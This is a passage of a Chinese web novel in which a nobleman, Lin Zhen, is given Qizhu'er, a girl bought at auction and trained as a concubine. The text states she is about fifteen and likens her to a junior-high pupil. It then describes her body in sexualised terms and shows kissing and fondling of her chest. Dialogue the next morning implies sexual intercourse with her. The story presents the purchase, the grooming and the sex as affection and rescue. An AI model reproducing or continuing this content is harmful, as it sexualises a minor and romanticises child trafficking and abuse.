进了会客厅,林臻将外袍随意搭在紫檀屏风上,鎏金兽首铜炉飘着袅袅沉水香,慕容无舌正捧着羊脂玉盏悠然喝茶。 七十多岁的老头硬是活得像五十出头的中年,脸黑头发都长出来了,隐隐有还老返童的征兆。 见到林臻进来,无舌立刻起身行礼,尖细的嗓音在空旷的厅内回荡:“恭喜世子!陛下特命老奴送来这份大礼。”? 会客厅中央的地毯上,一位抱着琵琶的女子怯生生地向前半步。 林臻目光落在她身上,只见她肩头单薄,绣着并蒂莲的月白襦裙松松垮垮地挂在身上,腰间的青蚨钱玉佩几乎要垂到膝头。 果然,就是拍卖会上引得众人竞相争抢的泣珠儿。? “赏赐?呵,怕是陛下买完又不要的吧?无舌啊,你我也算朋友,就别在这打马虎眼了。” 林臻冷笑一声,指尖划过檀木椅的雕花扶手,斜睨着对方,眼中满是嘲讽,“一万两银子拍下的人,转头就送来王府,然后我付钱,她出风头。陛下这算盘打得可真精。”? 慕容无舌的喉结在苍白的脖颈处滚动了一下,脸上立刻堆起讨好的笑容:“世子这话说得,老奴可担待不起。陛下对世子那是夫妻一体,关爱有加,想着泣珠儿姑娘才艺双绝,放在宫里怕是埋没了,特意交代送来王府,给世子解解闷。” “我发现你这老家伙是越来越圆滑了,嫣儿原话肯定不是这么说的。” 闻言泣珠儿猛然抬头看了看林臻。 嫣儿... 这是用来形容皇帝的吗? 等等,他刚才说什么?夫妻一体? 难道说林臻与那位帝位是夫妻! 天呐...... 无舌尴尬地笑了笑:“呵呵呵,陛下的旨意就是如此,但老奴与世子交代,肯定要委婉些。” “罢了,你可真是个老泥鳅,滑不溜手。”林臻看了看泣珠儿,坐下对无舌说:“既然来了就住下,我命人给你收拾房间。” “使不得使不得!老奴怎敢在宫外留宿?陛下还等着复命呢。若是去迟了,老奴这脑袋可就保不住了。”慕容无舌慌忙后退,蟒纹披风扫过波斯地毯。 林臻心说,慕容嫣会杀你? 呸。 这老东西。 简单又交代几句,无舌便离开了。 躬身退出时,青铜门轴发出吱呀声响,月光顺着门缝漏进来,在泣珠儿脚边投下一道冷白的光。? 直到此刻,林臻这才细细打量起眼前的泣珠儿。 少女身形娇小,不过五尺三寸的身高,也就是一米六左右,比司马椿蕾矮了半头,单薄的肩胛在纱衣下微微凸起,仿佛一阵风就能将她吹散。 她生就一张巴掌大的小脸,眉如远山含黛,眼尾微微上挑,漆黑如点墨的瞳仁里蒙着一层水雾,鼻尖小巧精致,泛着淡淡的粉色,而唇瓣却苍白如纸,毫无血色。? 这样看起来,颇有后世洛丽塔少女的感觉。 但林臻说的可不是那些又胖又矮,化了妆脸蛋也大得像磨盘似的作精。 一天到晚啥也不干,啥也不会,整天无病呻吟,就会emo。 他说的是那种十分小巧、精致,像贵族公主的那种弱柳扶风般的小女孩。 最引人注目的,是她怀中紧紧抱着的焦尾琴。 深褐色的琴身泛着古朴的光泽,她抱得极紧,指节都因用力而泛白。 那双手纤细修长,腕骨凸起得明显,指甲修剪得圆润整齐,可指尖却布满了练琴留下的薄茧。 当她微微低头时,几缕乌黑的发丝垂落,遮住半边脸颊,更衬得脖颈愈发修长脆弱,仿佛轻轻一折就会断裂。? “晚间可吃饭了?”林臻的声音不自觉地放柔。 见少女浑身一颤,猛地抬起头,眼中闪过一丝慌乱,宛如一只受惊的小鹿。 她张了张嘴,好半晌才找回自己的声音,轻声道:“回老爷...奴婢...晚间不吃饭的...” 说到最后几个字,她下意识地咬住下唇,眼神中满是不安,眼眶也微微泛红。? 林臻望着她瘦弱的身形,想起白日拍卖会上牙婆那句“瘦不露骨,小不弱风”,只觉得无比讽刺。 这分明是长期挨饿才有的瘦弱,哪里是什么所谓的“讲究”? “来人,告诉厨房准备十只青背虾,一碗热牛奶,炖个燕窝羹,速度要快。” “是。” 值班的小丫鬟远远回了一声。 林臻对泣珠儿说道:“以后不必如此了,王府没有让人饿肚子的规矩。你若喜欢吃什么,尽管和厨房说,只要不是太离谱的,都可以做。” 林臻靠回椅背,墨玉扳指一下又一下地敲着扶手,见她依旧低着头,又补充道:“你过于瘦弱,这是不健康的,等下燕窝粥你要多喝点。” 泣珠儿再次猛地抬头,眼中满是惊讶与感动,泪水在眼眶里打转。 她忽然福了福身,动作虽优雅,却带着几分僵硬,显然是被训练过无数次的结果:“谢...谢老爷赏。” 声音里带着明显的哽咽。? 以前泣珠儿就听过,像她们这样的瘦马在刚进府的时候都会得到家主垂怜,各种好吃好喝伺候着,如果这个时候你觉得自己走向人生巅峰了,那就大错特错。 等家主玩腻了,那些瘦马就会变成玩物,开始供别人玩耍,甚至家主还要和那些人一起玩耍,简直就是生不如死。 泣珠儿不了解林臻,更不知道京城这边的规矩,所以她一直站在原地不敢动。 廊下传来更夫梆子声,已是子时三刻。 林臻望着她抱琴的姿势,突然开口问道:“会弹《断肠曲》?”? 少女的指尖微微一颤,琴弦发出细微的嗡鸣。 “是...老爷想听吗?奴婢现在就可以弹奏。”她声音发颤,像是生怕答错什么,抱着琵琶的手又不自觉地用力了几分。? “今晚不必了,大家也都睡了,你坐下,我们聊聊天吧。” “是。” 泣珠儿不敢违逆林臻的话,几乎是他说什么,泣珠儿就答应什么。 但让林臻没有想到的是,泣珠儿轻轻的把琴放在地毯上,随即向他走来,直接坐到了他腿上,还顺便双手环住他的脖子。 在门外偷看的司马椿蕾立刻恼怒起来。 “哼,果然是个狐媚子!夫君只是让你坐下,你却直接坐夫君腿上!” “小东西,你别落本宫手里,否则叫你求生不得求死不能!” 林臻耳朵一动,把司马椿蕾的话听了个一清二楚。 这丫头。 就知道她不会这么省心的。 林臻也没像个初哥似的闪躲,甚至他很正经地盯着泣珠儿那张小巧的脸。 只见少女脸蛋红红的,肌肤胜雪,纤细的手臂没有一丝一毫多余的肉,带着丝丝骨感。 就连紧挨着自己大腿的屁股上,也没有多少肉,瘦弱得可怜。 林臻怀疑那些买瘦马回去的人都是什么变态心理。 这样柔弱的姑娘也下得去手?还是说就是要用这种柔弱的姑娘来满足他们变态的快感? 林臻问道:“你多大了?” “回老爷的话,奴婢已经及笈了。” 意思就是可以采摘了。 不过林臻还是觉得她很小很小,至少要比浣碧还小一岁。 这个年龄段在后世也就刚上初中吧?不行不行,咱必须得正能量,不能有任何龌龊的想法。 “以后把王府当家吧。因为你出身特别,我决定单独给你分一个房间,配两个丫鬟陪着你,专心学习音律,争取成为大乾第一琴师。” 泣珠儿突然张着小嘴看他,满脸的不可思议。 虽然她懂琴棋书画,虽然她是瘦马,但本质上与那些买回来的丫鬟没有什么区别。 但林臻居然要单独给她分个房间,还配丫鬟,这简直就是主子级别的待遇! “老爷...您...您对奴婢实在太好了..奴婢有些,受宠若惊。” “以后不要叫我老爷,和她们一样,叫我世子。你也不要再自称奴婢了,你是我的人,还是自称妾身更好。” “是,妾身愿意永远陪伴世子。” “嗯,你的月例会和小妾一样,以后府里若有人欺负你,小瞧你,你便去找浣碧,她会给你处理好的,若有什么要紧的事情也可以来找我。” 说话间,丫鬟上来传菜上来。 “世子,菜已经备好了。” “嗯。”林臻点头,随即又拍了拍泣珠儿那小脑袋,“去吃饭吧。” “妾身晚上吃饭会发胖的。” “不会,我给你要的是虾和牛奶,燕窝羹是给你补身子的,这些吃了都不会胖。” 林臻不是想禁锢住她的发育,而是不想让她多年的辛苦白费,再说,泣珠儿应该是很在意自己身材的,所以便点了青背虾这样高蛋白,低脂肪的东西。 以前泣珠儿在楼里时,就没吃过什么好东西,每顿饭都是清汤寡水的。 倒不是那些妈妈养不起,而是她们不懂热量摄入与消耗的关系,固执地认为只要吃得少,吃得差,就不会长胖。 所以,至于什么大虾燕窝之类的东西,泣珠儿都是听过没见过,更没吃过。 林臻抱着泣珠儿准备站起来,可谁知道这时,泣珠儿居然做出一个大胆的举动。 第527章 大胆!! 林臻做梦也没想到,泣珠儿居然如此大胆。 根本不给他丝毫准备,搂着林臻啵唧一下,亲在他的嘴唇上。 柔软的唇带着少女特有的青涩,与丝丝凉意,却又透着瘦马训练出的大胆与谄媚。 这是瘦马“承恩”的标准礼仪,她曾在醉仙阁的镜前练习过百次千次,此刻却因紧张而指尖冰凉。? 短暂的触碰后,泣珠儿迅速退开,耳尖泛红,眼尾也染上一层绯色,声音糯得像浸了蜜:“多谢世子垂怜。” 她低垂着眼睫,手指无意识地揪着裙角,长长的睫毛在眼下投出蝶翼般的阴影,月白襦裙下的双腿微微发抖,显露出完美仪态下暗藏的颤抖。? 说实话,林臻从没有这样被一个青涩的姑娘主动亲吻过,就算是色胆包天的晴雯,雷厉风行的张俪,或者那个从没有边界感的刘妙颜。 这些女人都没有主动亲吻过林臻,都是林臻先亲的她们。 因为不管性格再如何大胆,传统与矜持还是深深刻在骨子里的。 只有泣珠儿。 况且她还那么小。 虽然主动,却很青涩。 不知道为什么,林臻体内突然迸发出一股邪火。 双手无意识地搂住泣珠儿那娇小的身体,也吻了上去。 “嘤咛...” 林臻的吻和她不同。 她是蜻蜓点水般的顽皮,而林臻却像热情似火的雄狮。 他疯狂的,用力的,使劲吻着,好像要把泣珠儿那小舌头吞下去似的。 也不知道过了多久,泣珠儿已经气喘吁吁,上气不接下气,林臻突然动手给她丈量了一下胸脯,只觉......小小的也很可爱嘛。 然而就是因为这个尺寸,林臻猛然惊醒。 “呼,你是吃了糖吗?为什么口中如何甜腻?”林臻重新靠回椅背上,指尖无意识摩挲着嘴唇,望着泣珠儿因紧张、动情微微颤抖的模样。 雕花铜炉里的沉水香突然窜起火星,噼啪声响打破了室内的寂静。 “回世子,这个可能是妾身从小就吃花瓣的原因。” “是你自己想吃的吗?” 泣珠儿摇摇头:“不是,是妈妈让吃的,每天都要吃。” “原来是这样,那你是什么时候成为瘦马的?” “妾身也不记得了,打记事起,妾身就在楼里学习音律。” “看来你被他们买走的时候还很小啊。” 泣珠儿看不出有什么伤感,反而带着接吻后的一丝甜蜜与窃喜。 本来嘛,她根本就不知道亲生父母是谁,也就谈不上想念与难过。 楼里的妈妈就是她妈妈。 妈妈给她灌输了很多关于侍奉贵人的思想与办法,让她明白,自己天生就是干这个的,也应该干这个。 但哪个少女不怀春呢?当林臻说要如何如何对她时,这是她从没体验过的关心,于是她也萌生出某些不切实际的想法。 所以她想留在这里,留在林臻身边。 刚才的吻,其实就是一种示好与主动。 “妾身...其实不小了呢,在其他姐妹里,妾身算比较大的。”说这话,泣珠儿低头看了看自己的胸脯。 林臻笑了。 笑得很开心。 果然是个受过专业训练,会讨男人喜欢的女孩。 不过她的尺寸,别说和慕容嫣、晴雯比,就是和浣碧相比都差好几号呢。 “你还不小?我觉得你的身体还可以再发育,所以你现在乖乖去吃饭,好不好?” “嗯,妾身什么都听世子的。” 说完林臻放她下去。 偏过头,看向摆满菜肴的餐桌。 只见白瓷碟里码着十只煮熟的青背虾,虾壳被剪去虾须虾脚,整齐地蜷成满月状;青瓷碗里盛着乳白的燕窝羹,金丝燕的纹理在烛光下清晰可见;最外侧的琉璃盏里,热牛奶正腾起袅袅热气,在冷夜里显得格外温暖。? “快吃饭去吧。”林臻的声音里带着几分不易察觉的柔和。? 得到指令,泣珠儿如蒙大赦般地走至餐桌前。 她挺直脊背,下颌微抬,端起琉璃盏时,手腕刻意摆出优雅的弧度,三指捏着盏沿的姿势宛如在抚琴。 第一口热牛奶送入口中,她先微微颔首致谢,唇角轻轻触碰奶面,竟未让奶泡沾到唇畔,下颌咀嚼时幅度极小,喉结随着吞咽动作轻轻滚动,珍珠项链在锁骨处画出优美的弧线。? 接下来是青背虾。 她用银筷夹住虾身,指尖发力将虾肉完整剥离,动作轻柔得像在弹奏泛音。 虾肉入口前,她对着瓷碟行了个小礼——这是醉仙阁教导的“食前谢主”,即便面对一盘虾,也要摆出感恩的姿态。 咀嚼时,她严格遵循“每口咀嚼十二次”的规矩,腮帮几乎没有明显起伏,眼睛却忍不住盯着碟中剩余的虾,仿佛在计算着下一次夹取的最佳角度。? 燕窝羹盛在月牙形的青瓷碗里,她用银匙舀起半勺,小拇指自然翘起,碗沿与嘴唇接触的角度恰好十五度,这是瘦马训练中“食不露齿”的标准姿势。 温热的羹汤入口时,她喉结轻轻滑动,燕窝的丝缕顺着银匙的弧度滑入口腔,全程未发出半点声响。 吞咽后,她用绣着并蒂莲的帕子轻轻抿了抿嘴角,连一丝汤汁的痕迹都未留下,帕子上的花纹与她裙裾的暗纹在烛光下相映成趣。? 夜风突然变得猛烈,掀起珠帘重重拍在窗框上。 林臻警觉地转头望向回廊,树影在月光下婆娑摇曳。 他锐利的目光扫过月洞门的阴影处,瞥见明黄裙摆的一角。 这妮子,真是不死心啊。 林臻起身走出去,泣珠儿下意识地回头看,但是不敢多问。 走到门外,便听到脚步声,林臻沉声道:“椿儿,别躲了,我都看见你了。”? 闻言,司马椿蕾不情不愿地从阴影中走出,发间的赤金步摇随着脚步剧烈晃动,东珠手链撞出清脆却带着怒意的声响。 她瞪着会客厅里正在用餐的泣珠儿,眼眶泛红,胭脂晕染的脸颊因气愤而染上不正常的红晕。 见到林臻,她第一句话就是:“夫君偏心。” 说完她的目光落在餐桌上的菜肴,尤其是那碟青背虾,语气里带着酸意。 “呵,果然是受过教育的,懂得挑鲜嫩的时节吃虾,醉仙阁的姑娘果然会享福。”? “那是个苦命的丫头,你就别跟着吃醋了,明天我会亲自告诉嫣儿,让你在王府多住几天。”林臻看着她攥得发白的帕子,语气不自觉软了几分。? “臣妾也不是这个意思!”司马椿蕾跺脚时,脚下的绣鞋重重砸在青砖上,“那个狐媚子突然投怀送抱,谁知道安的什么心!” 她越说越激动,挥舞着手臂,发间的玉簪都有些歪斜,“当初在宫里,臣妾学了三个月才学会用银匙舀燕窝,她倒好,生来就会摆这副狐媚样子!”? “胡说什么,我还不至于让一个小丫头伤到。” 林臻按住她挥舞的手腕,神色严肃:“倒是你,你给我老老实实的,若敢动她一根手指,我可饶不了你!” 他话未说完,司马椿蕾已用力抽回手,胭脂晕染的眼眶蓄满泪水。 “您今天还说要陪臣妾睡的!”她声音带着哭腔,“现在倒好,为了个瘦马把我晾在一边!” 泪水顺着她精致的妆容滑落,在脸颊上留下两道痕迹:“夫君是不是觉得臣妾不如她会装模作样?不如她会用银匙舀牛奶?”? “情况有变嘛,我们老夫老妻的,还不至于容不下一个瘦马吧?”林臻声音里带着无奈,“我是看她初来乍到,总要安置妥帖。眼下大家都睡了,我只能亲自安排。” 林臻重新拉起她的手,轻轻拍了拍:“这样吧,明日午后,我陪你去新开的绸缎庄挑料子,让人给你做身旗袍,晚上我们再好好玩。”? 司马椿蕾撇撇嘴,但眼中却闪着期待的光:“什么破旗袍,又露脚又露腿的,臣妾才不要呢。倒是晚上,臣妾要您三百次!嘻嘻嘻!” “你也不怕散了架。”林臻翻个白眼,说道,“快回去休息吧。” “知道啦,夫君有了新人忘旧人,切!”说罢,她又狠狠瞪了一眼会客厅里的泣珠儿,特意提高声音,“有些人啊,就算会剥虾,会喝汤,也学不会什么叫贵族气度!” “你这妮子...” 说完司马椿蕾转身离去,脚步声渐渐消失在九曲回廊。? 待司马椿蕾走远,林臻返回会客厅。 只见泣珠儿正用银匙轻轻搅动碗里的燕窝羹,碟中的青背虾已只剩一只,虾壳整齐地码成小塔状,连虾线都挑得干干净净。 察觉到他的视线,她慌忙起身,月白襦裙下的双腿微微发抖,声音发颤:“世子......”? 刚刚司马椿蕾的话她听到了,但是她不敢还嘴。 以前妈妈就说过,来到别人家肯定要受那些女人的气,她早有心理准备。 “好吃吗?”林臻望着她因进食而泛起红晕的脸颊,忽然想起方才司马椿蕾的醋意,心中泛起一丝复杂的情绪。? 泣珠儿眼睛亮晶晶的,双手交叠放在小腹处行了个万福,语气里满是欣喜:“好吃,妾身从没吃过这么好吃的东西!” 她舔了舔嘴唇,似乎还在回味:“在醉仙阁时,每日只能吃半盏糙米稀粥,教习嬷嬷说瘦马要‘骨感天成’,只会牛奶,更是只听过,没见过。” 话说到一半,她像是意识到失言,慌忙捂住嘴,苍白的脸上浮起惊恐,眼神里满是不安,“世子恕罪,妾身不该多嘴...”? 林臻摆摆手示意她坐下,目光落在她依旧保持着优雅姿势的手上。 她重新端起琉璃盏,还是那标准的持盏姿势,还是优雅的兰花指。 烛火在她睫毛上投下蝶翼般的阴影,他却忽然觉得这副完美无缺的仪态有些刺眼,那背后藏着的是无数日夜严苛训练的痕迹。? 林臻伸手按住她即将去够银筷的手:“以后不必这般拘谨,王府不是醉仙阁,虽然规矩很多,但至少每个人都有尊严,明天起,你就跟着浣碧吧,她是我的小妾,也是丫鬟出身。府中还有几位小妾,等回头让浣碧带你一一认识。” 泣珠儿浑身瞬间僵硬,直直地望着他覆在自己手上的那只手,喉结微微滚动,呼吸都变得急促起来。 当林臻松开手时,她像是突然被抽走魂魄,手中的银匙“当啷”一声掉进碗里,溅起的燕窝羹在月白裙裾晕开浅色痕迹。 这不合规矩的失态,却让她眼里泛起水光,仿佛长久冰封的湖面裂开第一道缝隙。? “谢...谢世子。”她低头时,几缕发丝垂落遮住泛红的耳尖。 林臻望着她因激动而起伏的单薄肩胛。 忽然想起,从今天起,这个连吃饭都要遵循严苛规矩的姑娘,便算是他的人了。 他看着她重新拿起银匙,却不再摆出标准的十五度角,而是有些笨拙地舀起燕窝羹,唇角沾上了一点奶渍,忽然觉得这才是真实的她,一个被规矩束缚太久,却终于开始松动的灵魂。? 夜风渐歇,烛火在琉璃灯罩里轻轻摇曳。 泣珠儿低头吃着最后一只青背虾,指尖终于不再紧绷,银筷夹取的动作虽仍带着几分僵硬,却多了一丝属于自己的温度。 林臻望着眼前的场景,会心地笑了。 谁能想到,这小小的会客厅里,正在发生的事情不是用餐,更是一个被标签化的“瘦马”,逐渐找回自己的开始。 等她吃完,林臻说道:“很晚了,我们该休息了。” “嗯,都听世子的。” “走,我带你去属于你的房间。” 第528章 听琴居 林臻不由分说,牵起泣珠儿的手往外走。 会客厅的烛火在身后渐渐缩小成一点暖黄,林臻的掌心贴着泣珠儿的手腕,触感薄得像是能透过皮肤摸到骨节。 她单手抱着焦尾琴,琴穗随着步伐轻晃,扫过青砖缝里的夜露。 九曲回廊的宫灯将两人的影子拉得老长,时而被假山截断,时而在小湖的水面上碎成金箔。 那湖中游动的锦鲤比她在醉仙阁见过的瓷瓶还要大,鳞片在月光下泛着珍珠光泽。? 午夜漫步的人,在林臻看来,半夜出去散步的只有刚从夜店离开的宿醉男女和不惜一切代价也要去酒店来一次的破鞋。 正常人谁会半夜出来散步? 倒不是说去夜店的就是不正常人,而是与大多数相比较。 咱什么时候见过老夫老妻大半夜不睡觉出门散步的。 不过林臻现在就是个特例,他真的在散步,而且牵着一位小姑娘。 多少有点梦回初中时期,第一次牵女孩子手都感觉,很奇妙,很难以言说。 “珠儿,你看,咱王府的风景如何?” 两人站在湖边,望着眼前的假山,泣珠儿忽然开口,声音轻得像落在荷叶上的雨。 “好生气派。从前在扬州,妾身跟着妈妈去盐商家送绣品,见过比这小一半的假山,当时觉得那便是天下最气派的院子了,如今与王府的一比,简直是米珠与皓月的区别。” “哈哈哈,你倒是会褒奖。” “也没有了啦~妾身也是那个时候才知道,原来富人家的院子可以没有天。”她望着眼前叠石成峰的假山,石缝里还种着罕见的墨兰,幽幽开口。 又仰头望着被飞檐切割成碎片的夜空:“原来月亮可以这么近,近得像是伸手就能摘下。” 林臻听出她话里未说的辛酸。 醉仙阁的训练房终年不见天日,十二岁的她被关在六尺见方的屋子里,对着铜镜练习“回眸百媚”的姿态,而此刻她眼中倒映的,是王府假山上悬挂的琉璃灯,每盏灯上都绘着不同的画作,风过时发出清脆的叮咚声。? 穿过月洞门时,泣珠儿忽然驻足。 眼前的小湖中央有座水上亭台,八根朱漆柱子雕着梅兰竹菊,亭心石桌上摆着自动烹茶的机关,流水顺着竹管注入茶壶,炭火在石缝里若隐若现。 “这是静心园的外苑。”林臻松开她的手,指尖划过石栏上的琴纹雕刻,“我没见过我母亲,不过听王爷说,我母亲以前很喜欢听泉煮茶。”? 泣珠儿的手指无意识摩挲着琴身。 她想起七岁那年,养母的藤条落在背上的疼痛,教习嬷嬷用银针矫正她坐姿的刺痛,都在这奢华的景色里渐渐模糊。 当脚尖踩过汉白玉拱桥,桥下喷出的水雾沾湿裙角时,她忽然觉得自己像个被贵人捡来的瓷娃娃,随时可能被碰碎在这满地珍珠的路上。? 别院的朱漆大门在夜色中静静矗立。 四方院落里,东厢窗纸上绘着水墨琴谱,西厢飘来若有若无的沉水香。 门房的灯笼映出“听琴居”三个金字,林臻推开门时,青石小径上的苔藓被月光染成银绿。 “这里原是招待琴师的客房,离主院远,倒得了清净,很适合你生活,以后你就住在这,我会安排丫鬟、厨娘来伺候你,你专心钻研琴理就好。”? 屋内,林臻掏出火折子点燃蜡烛,扣上灯罩。 屋内烛火亮起的瞬间,泣珠儿的视线被墙上的琴架牢牢吸引。 胡桃木制成的架子呈展翅凤凰形,琴弦状的铜条上还刻着《高山流水》的减字谱。 泣珠儿很是惊奇,但是不敢多问。 林臻似乎看出她的疑惑,解释道:“从前王爷有位客卿,善抚焦尾琴,所以王爷便命人做了这架子,不想没几年那位琴理大家便殁了,这琴架也就成了摆设。"? 说这话,林臻指了指琴架:“你可以把你的琴放上去。” “真的可以么...”泣珠儿还是有些受宠若惊。 虽然以前在扬州时她根本没有属于自己的琴架,只有一个樟木箱子,而且还是那种很廉价的木头,质感也不好。 包括她的琴,根本不是什么上乘货色,只勉强能演奏而已。 泣珠儿把琴放在琴架上, 落下的瞬间,泣珠儿听见自己心跳如鼓。 醉仙阁的琴房里,她只能将琴锁在箱子里,而此刻却能光明正大地摆在床头。 转身时,林臻已坐在雕花拔步床上,月光透过纱窗在他墨玉扳指上流转,照见他眼底未说的温柔。? “妾身伺候世子更衣。”她习惯性地屈膝,却被林臻抬手制止。? “不急。”他拍了拍自己的腿,语气带着几分纵容,“过来。”? 泣珠儿脸蛋一红,但还是勇敢向他走来,绣鞋在青砖上踏出细碎的声响。 还是那样的自然,双手搂住林臻的脖子。 彼此交叠的呼吸在流转,不管是林臻还是泣珠儿,都开始心跳加速。 林臻的手掌覆上她手背,指腹碾过练琴的薄茧,像是在摩挲一件失而复得的珍宝:“珠儿,你在醉仙阁时,他们打断过你几根琴弦?” 林臻知道,好的音乐家都是打出来的。 像泣珠儿年岁这么小,便有如此高音乐造诣的瘦马,更是如此。? 果然。 这个问题像一把钝刀,轻轻划开结痂的伤口。 泣珠儿望着他胸前的盘扣,想起十一岁那年,因琴弦松了半调,被教习嬷嬷当众扯断三根琴弦,铁丝般的弦线在手臂上留下血痕。 “三根。”她低头咬住唇,“后来我和一个大姐姐学,在琴弦里藏银丝,这样怎么弹都不会走音了,但是音色却不是很好。” 林臻的手指忽然捏住她下巴,迫使她抬头,月光在她眼尾流转。 忽然发现那帮教习的人真是很厉害,知道怎么打,怎么下手才不会留疤,同时又疼的痛彻心扉。 “以后不会了。”林臻的拇指擦过她唇畔,触感柔软得像新雪,“大乾摄政王府里的琴弦,只有你能剪断,我向你保证,以后不敢任何人再动你一根手指头。”? “世子......” 暧昧的气息在狭小的空间里蔓延。 林臻的另一只手滑向她腰间,隔着单薄的襦裙,能感受到她因紧张而绷紧的肌肉。 那是瘦马训练出的条件反射。 任何肢体接触都可能是“承恩”的信号。 但他的手掌只是轻轻按在她后腰,像在安抚受惊的小鹿。 “怕什么?”? 泣珠儿摇摇头,却忍不住往他怀里靠了靠。 他身上有竹叶青的酒香,混着沉水香,比醉仙阁那些富商身上的胭脂臭好闻百倍。 “世子身上好香~” 林臻在她耳边笑道:“呵呵呵,我看你的琴有些旧了,木头的质量也不是很好,这样,我有个朋友,是个大胖子,他前些年跟父亲吵架搞了一块特别好的杉木,很大,说要给他爹当棺材的,我明天让人从他私院里搬出来,给你重新做一面琴。至于底板,我找人去寻百年以上的梓木,再给你配个更好的琴穗。” 泣珠儿边听边掉眼泪,那小模样真是我见犹怜。 “谢世子赏...” “好了,不哭了,今天先用你的琴给我演奏一场。” “嗯!” 泣珠儿刚要起身,却被林臻按住。 林臻望着她泛红的脸颊,喉结不自觉滚动。 手掌抚过她脊背,能数清每一节凸起的椎骨。 “不过我不想听《断肠曲》,想听你弹《凤求凰》。” “可妾身只会伤身的曲子......”泣珠儿睁开眼,睫毛上还沾着水雾,“在醉仙阁,他们说欢场女子不该弹太烈的调子。” “这里又不是欢场,你看——”他指了指墙上的琴架,“凤凰都在等着你展翅。”? 这句话像一颗火星,点燃了泣珠儿眼中的光。 她忽然低头咬住他的唇,比昨夜更主动,却依旧带着生涩。 “那,妾身弹奏一曲试试,希望世子不要笑话妾身。” 第529章 昨夜受苦了 听琴居的烛火将凤凰琴架的影子投在青砖上,泣珠儿跪坐在琴架前的锦垫上,指尖轻轻抚过焦尾琴的雁柱。 林臻倚在拔步床的雕花栏杆旁,看见她手腕扬起的弧度恰好是《乐经》里记载的“凤首式”,袖口滑落露出的小臂上,几处琴弦勒出的旧痕在烛光下泛着淡红。? “世子可听过《凤求凰》?”她忽然抬头,眉尖微蹙,眼尾却泛着水光,“醉仙阁的嬷嬷说,这曲子要弹得像凤凰啄食晨露般轻柔。” 话音未落,指尖已勾住琴弦。、 第一声泛音响起时,她睫毛猛地颤动,仿佛琴弦的震颤顺着指尖钻进了骨髓。 左手按弦的指尖在琴面上滑动,右手拨弦的力度精准得像用尺子量过,每个音符都带着瘦马训练出的完美,却在滑向求字时,指尖重重压下,琴弦发出近乎撕裂的声响。? 林臻看见她咬住下唇,指腹在琴弦上碾出红痕。 这不是醉仙阁的讨好式演奏,而是带着破茧般的决绝。 琴声时而如凤啼清越,时而如凰鸣婉转,当弹到“将琴代语兮,聊写衷肠”时,她忽然闭了眼,眼泪顺着鼻尖落在琴弦上,却仍保持着优雅的按弦姿势。? 一曲终了,余音在梁柱间萦绕不去。 泣珠儿抬头时,眼尾的泪痣被泪水冲淡,像朵开在雪地里的红梅。 她站起身,说:“妾身弹得不好......”? “谁说的?”林臻走到她身边,指尖划过她潮湿的睫毛,“醉仙阁的瘦马弹《凤求凰》,只会像孔雀开屏般炫耀,可你弹出了凤凰折羽也要追云的狠劲。” 泣珠儿的眼眶忽然发热。 这是她第一次听到有人用狠劲形容她的琴技,而非醉仙阁里的狐媚腔调。 当林臻的手掌覆上她冰凉的手背,她忽然发现他指尖有常年握刀的薄茧,却比任何琴弦都要温暖。? “只是琴差了些。”林臻敲了敲焦尾琴的琴身,漆面上几道裂痕是她在醉仙阁被嬷嬷摔出来的,“等过几天你的新琴做好了,再好好给我弹奏两曲。” 泣珠儿慌忙作揖,额头几乎触到琴面:“全听世子的。” 她起身时,月白襦裙的腰带突然松开,露出里衣的茜纱小袖,肩头的朱砂痣在烛光下格外鲜明。? “别总是作揖。”林臻忽然伸手,替她系好腰带,指尖在她腰侧轻轻一捏,“在我面前,你可以坐直了说话。” 她红着脸点头,耳尖发烫。 当两人褪去外袍上床时,她刻意背过身去,却听见林臻低低的笑声:“刚刚还敢坐我腿上亲我呢,此刻倒害羞了?” 锦被被轻轻掀开,他的手臂环住她腰,掌心贴着她小腹的薄纱,那里还留着醉仙阁束腰留下的淡淡红印。? “世子......”泣珠儿咬住唇,感受着他胸膛的温度。这是她第一次在男人身边入眠,却不再像训练时那样僵硬,他的呼吸拂过她后颈,像阵不会伤人的风。? “请世子,不必怜惜妾身。妾身会好好配合世子,尽力让世子舒服的。” ...... 五更天的梆子声响起时,林臻在晨光中醒来。 泣珠儿已经跪坐在妆台前,穿好了衣服。 晨光透过纱窗照在她身上,月白寝衣的领口滑落,露出蝴蝶骨上的几点红痣,那是教习嬷嬷用朱砂点的“琴星位”。? 听见动静,泣珠儿回眸。 “世子,您醒啦。” “嗯,昨夜还真是苦了你了。” “哪有?世子乱说,妾身还是蛮舒服的呢,以前听妈妈们总说男女之间的事情,还说男人的妙处,小时总是不理解,现在才算真正懂得了。” 泣珠儿要比寻常女子大胆,说起这些话来也是丝毫不脸红。 只是她太过娇小,昨天却是也太猛了些。 “我来给你梳头吧,算是补偿你昨晚的痛楚。” “妾身怎敢!?” “没事,你坐下。” 林臻光溜溜的起身,站在梳妆台面前,伸手拿过木梳。 一点一点的给她梳头。 这种感觉,就像伺候自己闺女似的。 林臻见她低着头不敢看,笑道:“醉仙阁没教过你,梳头时可以看着镜子里的人?”? 泣珠儿的指尖绞着梳齿,镜中映出他认真替她挽发的模样。 这是她第一次被人梳头,从前在醉仙阁,都是自己对着铜镜练习乌云追月的发髻,稍有差错便是一顿打。 当林臻将赤金簪子插入发间,她忽然发现,镜中的自己眼睛亮晶晶的,像盛了半碗晨光。? 都梳洗好以后,两人刚走到院子里,便听见角门处传来东珠手链的碰撞声。 司马椿蕾穿着鹅黄缠枝莲纹的寝衣,手里捧着食盒,发间的玉步摇歪在一边,看见林臻时立刻瞪向泣珠儿:“好啊,世子倒是起得早,臣妾可是寅时三刻就盯着厨房熬粥了。”? 她将食盒往石桌上一放,掀开盖子露出翡翠碗里的鸡丝粥,上面还撒着金箔:“臣妾特意让厨子加了安神的茯苓,省得有些人半夜弹些勾魂的曲子,扰了世子清梦。” 林臻看着她气鼓鼓的模样,忽然轻笑:“难得你有这份心。” 说完他转头对泣珠儿说:“你进屋休息,等下我让厨房传膳过来,我送椿儿回静心园。”? “是,世子。” 司马椿蕾得意地瞥了泣珠儿一眼,忽然看见她发间的赤金簪子——那是林臻去年大婚时,西域进贡来的,晴雯要来好几次都没给,此刻却别在泣珠儿头上。 她的脸色立刻沉下来,指尖捏住簪尾轻轻一拔:“这簪子臣妾记得是西域进贡的,怎么在你头上?” 泣珠儿慌忙低头,发间的乌丝散落肩头:“是世子......”? “好了。”林臻按住司马椿蕾的手,“不过是支簪子,明日让内务府再打十支给你。” 他将食盒递给随侍的小厮,“先陪我用粥,莫要辜负了你的心意。” 